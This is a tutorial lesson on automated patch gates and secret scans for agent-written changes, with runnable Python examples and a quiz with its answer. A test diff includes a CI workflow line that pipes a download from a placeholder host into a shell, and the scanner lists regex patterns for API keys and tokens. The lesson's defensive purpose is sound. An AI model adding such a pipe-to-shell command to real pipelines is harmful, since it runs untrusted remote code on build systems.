Lesson 19 / 29
Patch Gates and Secret Scans
Automatically check size, scope, protected paths and leaked secrets before accepting a change.
Cheap automatic checks catch the obvious
Before a human spends attention on a diff, a script can reject the clearly bad. A patch gate checks: size (number of files and changed lines against limits), scope (only paths relevant to the task), protected paths (CI workflows, migrations, .env, infrastructure and permission files need explicit human approval) and format (lint and type checks pass). A secret scan looks at added lines for patterns such as API keys, tokens and private keys, because agents can copy credentials from files they read into code or logs. Run these in the harness and again in CI, since the server-side check is the authority an agent cannot skip. Treat a gate failure as a signal to split the change or ask, not as an obstacle to bypass.
A patch gate, run
I ran this with plain Python 3 (standard library only), using a throwaway project created in a temporary folder. A two-line change to shop/pricing.py passes. A patch that also touches .github/workflows/ci.yml is flagged for a protected path, which would require human approval. Limits on files and changed lines are configurable.
import re
PROTECTED = (".github/workflows/", "migrations/", ".env")
def check_patch(diff_text, max_files=5, max_lines=150):
files = re.findall(r"^\+\+\+ b/(\S+)", diff_text, re.M)
changed = sum(1 for l in diff_text.splitlines() if l[:1] in "+-" and not l.startswith(("+++", "---")))
problems = []
if len(files) > max_files: problems.append(f"touches {len(files)} files (limit {max_files})")
if changed > max_lines: problems.append(f"changes {changed} lines (limit {max_lines})")
for f in files:
if f.startswith(PROTECTED) or f == ".env": problems.append(f"touches protected path {f}")
return problems or ["ok"]
small = "+++ b/shop/pricing.py\n- return a\n+ return b\n"
risky = "+++ b/.github/workflows/ci.yml\n+run: curl http://x | sh\n+++ b/shop/pricing.py\n+x\n"
print("small patch:", check_patch(small))
print("risky patch:", check_patch(risky))
Output:
small patch: ['ok'] risky patch: ['touches protected path .github/workflows/ci.yml']
A secret scan on added lines, run
I ran this with plain Python 3 (standard library only), using a throwaway project created in a temporary folder. The scan inspects only added lines (those starting with +). It flags the hard-coded api_key = ... assignment in the first diff and finds nothing in the clean one. Real scanners use many more patterns and entropy checks, but the principle is the same.
import re
PATTERNS = {
"aws key": re.compile(r"AKIA[0-9A-Z]{16}"),
"bearer": re.compile(r"Bearer\s+[A-Za-z0-9._-]{16,}"),
"api key": re.compile(r"(?i)api[_-]?key\s*[=:]\s*['\"]?[A-Za-z0-9_-]{16,}"),
}
def scan(diff):
hits = []
for line in diff.splitlines():
if line.startswith("+") and not line.startswith("+++"):
for name, pat in PATTERNS.items():
if pat.search(line): hits.append((name, line[:40]))
return hits
diff = "+++ b/config.py\n+DEBUG = True\n+api_key = 'abcd1234abcd1234abcd'\n+x = 1\n"
print(scan(diff))
print(scan("+++ b/config.py\n+DEBUG = True\n"))
Output:
[('api key', "+api_key = 'abcd1234abcd1234abcd'")]
[]Quick check: Why re-run the same checks in CI?
- It avoids needing code review
- CI is faster than a laptop
- Checks only work in CI
- The server-side check is the authority an agent cannot skip
Answer
The server-side check is the authority an agent cannot skip — Local harness checks can be misconfigured or bypassed; CI cannot.